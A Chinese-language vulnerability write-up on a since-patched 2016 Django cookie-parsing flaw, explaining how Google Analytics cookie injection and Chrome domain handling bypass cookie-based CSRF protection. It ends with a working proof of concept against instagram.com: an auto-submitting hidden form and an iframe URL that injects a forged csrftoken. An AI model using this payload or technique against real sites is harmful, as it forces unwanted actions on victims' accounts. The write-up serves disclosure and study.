前言
Django于昨天修复了这个漏洞: https://www.djangoproject.com/weblog/2016/sep/26/security-releases/
其实去年就有类似的问题,报告给Twitter( https://hackerone.com/reports/14883 ),漏洞是由以下几个部分组成的。
0x01 由Google Analytics导致的Cookie注入漏洞
Google Analytics会设置如下的Cookie来追踪用户:
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]
比如:
__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/
也就是说,我们可以通过控制[PATH]位置来控制一部分Cookie,而且[PATH]位置并没有进行编码和过滤。这也是造成后面漏洞的导火索。
0x02 Django的解析缺陷
不同Web server对Cookie头有不同的解析方式。
-
通常浏览器发送的Cookie是这样:
-
Cookie: param1=value1; param2=value2;
-
很多Web server也接受以“逗号”为分隔符的Cookie头:
-
Cookie: param1=value2, param2=value2
-
Cookie: param1=value2,param2=value2
-
Python + Django却因为错误的正则,导致可以使用]作为分隔符:
-
Cookie: param1=value1]param2=value2
这个问题是Python原生Cookie库的问题,我们可以在命令行下测试一下:
>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah'csrftoken='x'>
可见,当c.load('__utmz=blah]csrftoken=x')
后,cookie被错误地解析为两个,一个Cookie[__utmz]=blah
,一个csrftoken=x
。
0x03 不同浏览器处理Cookie的特性
除了Safari以外,所有浏览器都支持将一些特殊字符(空格、逗号或)设置为Cookie的值。
Chrome处理Cookie属性的数量有限。比如
Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;
的domain将会被认为是.google.com而不是blah.blah.blah.google.com。
0x04 注入TOKEN绕过CSRF检查
利用上面3个特性,我们可以攻击具有如下条件的网站:
使用了 Google Analytics
使用了会错误解析Cookie的服务器(如Django)
使用了基于Cookie的CSRF防御方式(就是将Cookie中的Token和表单中的Token相比较,确保表单不是伪造的)
然后:
我们将Cookie中的Token设置为任意一个字符串,覆盖原有的Token
于是这个网站就可以绕过CSRF防御了
还有一个问题就是,__utmz
这个Cookie时长是6个月不会刷新(也就没法写入新的)。解决方法是,你可以找一个同样使用了Google Analytics的子域名,然后借用0x03中说到的方法覆盖掉主域名的Cookie的domain即可。
其他浏览器,可以等到__utmz
刷新的时候进行攻击。
0x05 POC编写
用instagram.com为例。
用谷歌的匿名模式打开instagram.com
登录instagram.com
点击链接( http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html ),并等待一会
你已经成为 http://instagram.com/black2fan 的粉丝了(成功刷粉)
链接代码如下:
<form
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed"
id="csrf"
method="POST">
<input type="hidden" name="csrfmiddlewaretoken" value="x" />
<input type="submit" value="Submit request" />
</form>
<script>
function xxx() {
document.getElementById('csrf').submit();
}
</script>
<iframe
onload="xxx()"
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>
这四步实际执行了下面的过程:
1. 用户登录instagram.com
攻击者让用户登录了它以前没有登录过的blog.instagram.com:
http://blog.instagram.com/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/
2. Cookie的domain被覆盖为.instagram.com:
_utmz=90378079.1401435337.1.1.utmcsr=blog.instagram.com|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,
3. 此时,服务端会将这个Cookie解析为csrftoken=x
4. 然后提交CSRF Token=x的表单即可。
参考文档:
还没有评论,来说两句吧...